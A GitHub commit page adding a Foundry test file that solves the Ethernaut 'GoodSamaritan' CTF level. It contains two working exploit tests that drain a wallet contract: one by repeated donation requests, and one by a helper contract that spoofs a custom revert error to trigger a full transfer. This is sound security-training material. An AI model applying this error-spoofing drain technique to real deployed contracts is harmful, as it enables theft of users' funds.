-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
2 changed files
with
106 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,105 @@ | ||
// SPDX-License-Identifier: GPL-3.0 | ||
pragma solidity ^0.8.0; | ||
|
||
import '../../src/EthernautCTF/GoodSamaritan.sol'; | ||
import '@forge-std/Test.sol'; | ||
import '@forge-std/console2.sol'; | ||
|
||
contract Helper is INotifyable { | ||
error NotEnoughBalance(); | ||
|
||
function pwn(GoodSamaritan _goodSamaritan) external { | ||
_goodSamaritan.requestDonation(); | ||
} | ||
|
||
function notify(uint256 _amount) external { | ||
// Make sure to revert on the first call made by the Coin. | ||
if (_amount == 10) { | ||
revert NotEnoughBalance(); | ||
} | ||
} | ||
} | ||
|
||
contract GoodSamaritanExploit is Test { | ||
GoodSamaritan target; | ||
address deployerAddress = makeAddr('deployer'); | ||
address exploiterAddress = makeAddr('exploiter'); | ||
|
||
function setUp() public { | ||
vm.startPrank(deployerAddress); | ||
target = new GoodSamaritan(); | ||
console2.log('Target contract deployed'); | ||
vm.stopPrank(); | ||
} | ||
|
||
function testNaiveExploit() public { | ||
Coin coin = target.coin(); | ||
Wallet wallet = target.wallet(); | ||
|
||
uint256 walletBalance = coin.balances(address(wallet)); | ||
console.log('Wallet balance: %d coins', walletBalance); | ||
assertEq(walletBalance, 10 ** 6); | ||
|
||
uint256 exploiterBalance = coin.balances(address(exploiterAddress)); | ||
console.log('Exploiter balance: %d coins', exploiterBalance); | ||
assertEq(exploiterBalance, 0); | ||
|
||
vm.startPrank(exploiterAddress); | ||
// Each donation request gives 10 coins to the requester. | ||
// To fully drain the wallet, it will require 10**5 requests (100 000). | ||
console.log('Performing the exploit...'); | ||
uint256 counter; | ||
while (coin.balances(address(wallet)) > 0) { | ||
counter++; | ||
target.requestDonation(); | ||
} | ||
console.log('Requested %d donations', counter); | ||
console.log('Wallet has been drained'); | ||
vm.stopPrank(); | ||
|
||
walletBalance = coin.balances(address(wallet)); | ||
console.log('Wallet balance: %d coins', walletBalance); | ||
assertEq(walletBalance, 0); | ||
|
||
exploiterBalance = coin.balances(address(exploiterAddress)); | ||
console.log('Exploiter balance: %d coins', exploiterBalance); | ||
assertEq(exploiterBalance, 10 ** 6); | ||
} | ||
|
||
function testSmartExploit() public { | ||
Coin coin = target.coin(); | ||
Wallet wallet = target.wallet(); | ||
|
||
uint256 walletBalance = coin.balances(address(wallet)); | ||
console.log('Wallet balance: %d coins', walletBalance); | ||
assertEq(walletBalance, 10 ** 6); | ||
|
||
vm.startPrank(exploiterAddress); | ||
// To make this exploit, we use an Helper contract. | ||
// It has a `pwn` method to call `requestDonation`. Since the contract size is greater than zero, | ||
// the Coin SC will call the `notify` method of the Helper contract. This method is made to revert | ||
// when called with the specific amount of `10` which is the value used by the Coin SC. | ||
// It reverts with a specific custom error made to trigger the `transferRemainder` method from | ||
// the Wallet SC, transferring all the coins (10**6) to the Helper contract! | ||
Helper helper = new Helper(); | ||
console.log('Helper contract deployed'); | ||
|
||
uint256 helperBalance = coin.balances(address(helper)); | ||
console.log('Helper balance: %d coins', helperBalance); | ||
assertEq(helperBalance, 0); | ||
|
||
console.log('Performing the exploit...'); | ||
helper.pwn(target); | ||
console.log('Requested 1 donation'); | ||
console.log('Wallet has been drained'); | ||
vm.stopPrank(); | ||
|
||
walletBalance = coin.balances(address(wallet)); | ||
console.log('Wallet balance: %d coins', walletBalance); | ||
assertEq(walletBalance, 0); | ||
|
||
helperBalance = coin.balances(address(helper)); | ||
console.log('Helper balance: %d coins', helperBalance); | ||
assertEq(helperBalance, 10 ** 6); | ||
} | ||
} |